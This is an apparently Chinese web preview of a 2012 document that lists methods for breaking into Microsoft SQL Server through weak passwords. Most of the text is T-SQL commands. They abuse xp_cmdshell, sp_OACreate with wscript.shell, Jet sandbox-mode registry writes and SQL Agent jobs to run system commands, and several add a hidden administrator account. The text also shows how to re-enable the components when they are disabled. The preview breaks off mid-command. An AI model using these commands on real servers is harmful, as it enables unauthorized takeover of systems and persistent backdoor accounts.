1433 SQL Server 弱口令入侵方法大全.docx
文本预览下载声明
2012年4月28日Sql Server 弱口令入侵一、入侵条件:已得到 Sql server 弱口令,连接Sql Server 二、入侵方法: 方法一:exec xp_cmdshell net user test test /add ; ---使用 xp_cmdshell 函数创建 test用户exec xp_cmdshell net localgroup administrators test /add; ---提权test 用户为 超级管理员如果提示 xp_cmdshell 组件被禁止使用,想开启,使用语句:;EXECsp_configureshow advanced options, 1;RECONFIGURE;EXECsp_configurexp_cmdshell, 1;RECONFIGURE;--可以使用语句来查看 xp_cmdshell 存储过程是否被删除select count(*) from master.dbo.sysobjects where xtype=X and name=xp_cmdshell;如果被删除,可以使用如下语句来恢复(前提是 xplog70.dll 必须存在)exec sp_addextendedproc xp_cmdshell,@dllname=xplog70.dll方法二:如果 xp_cmdshell 被删除或不能使用时,可以利用 SP_OACreate 或 SP_OAMETHOD 调用系统对象 wscript.shell 来执行命令,先用 SP_OACreate 调用wscript.shell ,并赋值变量,再由 SP_PAMETHOD 调用执行,语句如下:Declare @runshell INTExec SP_OACreate wscript.shell,@runshell out Exec SP_OAMETHOD @runshell,run,null,net user test test /add如果遇到被 SP_OACreate 被禁用,则使用如下语句恢复:sp_configure show advanced options, 1; GORECONFIGURE;GOsp_configure Ole Automation Procedures, 1;GORECONFIGURE;GOEXEC sp_configure Ole Automation Procedures;GO方法三:使用沙盒模式,开启沙盒模式命令:exec master.dbo.xp_regwrite HKEY_LOCAL_MACHINE,SoftWare\Microsoft\Jet\4.0\Engines,SanBoxMode,REG_DWORD,0执行命令创建用户select*fromOpenRowSet(Microsoft.Jet,OLEDB,4.0,;DataBase=c:\windows\system32\ias\ias.mdb,select shell(net user test2 test2 /add))如果遇到 SQL Server 阻止了对组件Ad Hoc Distributed Queries 的STATEMENTOpenRowset/OpenDatasource 的访问执行:execsp_configureshow advanced options,1reconfigureexecsp_configureAd Hoc Distributed Queries,1reconfigure方法四:利用 sqlserveragent 服务,由于 sqlserveragent 服务默认是关闭的,需要利用 xp_servicecontrol 来启动启动命令:exec master.dbo.xp_servicecontrol start,sqlserveragent 如启动成功,则执行:USE msdbexecsp_add_job @job_name =GetSystemOnSQL,@enabled = 1,@description =This will give a low privileged user access to xp_cmdshell,@delete_level = 1 EXECsp_add_jobstep @job_name =GetSystemOnSQL,@step_name =Exec my sql,@subsystem =TSQL,@command =exec master..xp_execresultset Nselect exec master..xp_cmdshell dir c:/agent-job-results.txt,NMasterexecsp_add_jobserv
显示全部